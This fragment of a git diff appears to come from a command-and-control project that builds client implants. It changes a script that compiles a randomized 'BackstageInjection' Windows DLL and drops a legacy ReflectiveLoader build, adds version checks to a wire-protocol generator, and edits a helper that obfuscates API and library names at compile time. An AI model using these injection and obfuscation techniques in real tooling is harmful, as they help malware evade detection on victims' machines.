OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}" TARGET="x86_64-pc-windows-gnu" DLL_NAME="BackstageInjection.x64.dll" -LEGACY_DLL_NAME="BackstageInjection.legacy.x64.dll" if ! command -v cargo >/dev/null 2>&1; then echo "ERROR: cargo not found. Install a Rust toolchain (rustup)." @@ -38,7 +37,7 @@ fi mkdir -p "$OUT_DIR" echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..." -env -u BACKSTAGE_LOADER_EXPORT BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \ +BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \ cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml" SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll" @@ -51,11 +50,4 @@ cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME" echo "Built: $OUT_DIR/$DLL_NAME" ls -la "$OUT_DIR/$DLL_NAME" -echo "Building legacy Rust BackstageInjection DLL ($TARGET) ..." -BACKSTAGE_LOADER_EXPORT=ReflectiveLoader \ - cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml" -cp -f "$SRC_DLL" "$OUT_DIR/$LEGACY_DLL_NAME" -echo "Built: $OUT_DIR/$LEGACY_DLL_NAME" -ls -la "$OUT_DIR/$LEGACY_DLL_NAME" - -echo "Done." +echo "Done." \ No newline at end of file diff --git a/scripts/generate-wire-protocol.ts b/scripts/generate-wire-protocol.ts index fa97b96..67514bc 100644 --- a/scripts/generate-wire-protocol.ts +++ b/scripts/generate-wire-protocol.ts @@ -10,6 +10,7 @@ type Contract = { defaultVersion: 1; overrides: Record override.latestVersion) + ) { + throw new Error(`minVersion for ${command} must be an integer between 1 and latestVersion`); + } for (let version = 2; version <= override.latestVersion; version += 1) { const change = override.changes[String(version)]; if ( @@ -112,7 +121,7 @@ const commandVersionSupport = Object.fromEntries( commands.map((command) => [ command, { - min: 1, + min: contract.commandVersioning.overrides[command]?.minVersion ?? 1, max: contract.commandVersioning.overrides[command]?.latestVersion ?? 1, }, ]), diff --git a/scripts/obfuscate-strings.py b/scripts/obfuscate-strings.py index 9ec12cc..0b3c6b0 100644 --- a/scripts/obfuscate-strings.py +++ b/scripts/obfuscate-strings.py @@ -3,7 +3,7 @@ Generate _OBF_CHR sequences for compile-time string obfuscation (ROT16). Usage: - python scripts/obfuscate-strings.py ReflectiveLoader + python scripts/obfuscate-strings.py "ntdll.dll" python scripts/obfuscate-strings.py "ntdll.dll" "RtlAddFunctionTable" Outputs a C array initializer using _OBF_CHR() for each character. @@ -23,7 +23,7 @@ def obfuscate(s): def main(): if len(sys.argv) < 2: print("Usage: python obfuscate-strings.py STRING [STRING...]", file=sys.stderr) - print("Example: python obfuscate-strings.py ReflectiveLoader", file=sys.stderr) + print("Example: python scripts/obfuscate-strings.py \"ntdll.dll\"", file=sys.stderr) sys.exit(1) for arg in sys.argv[1:]: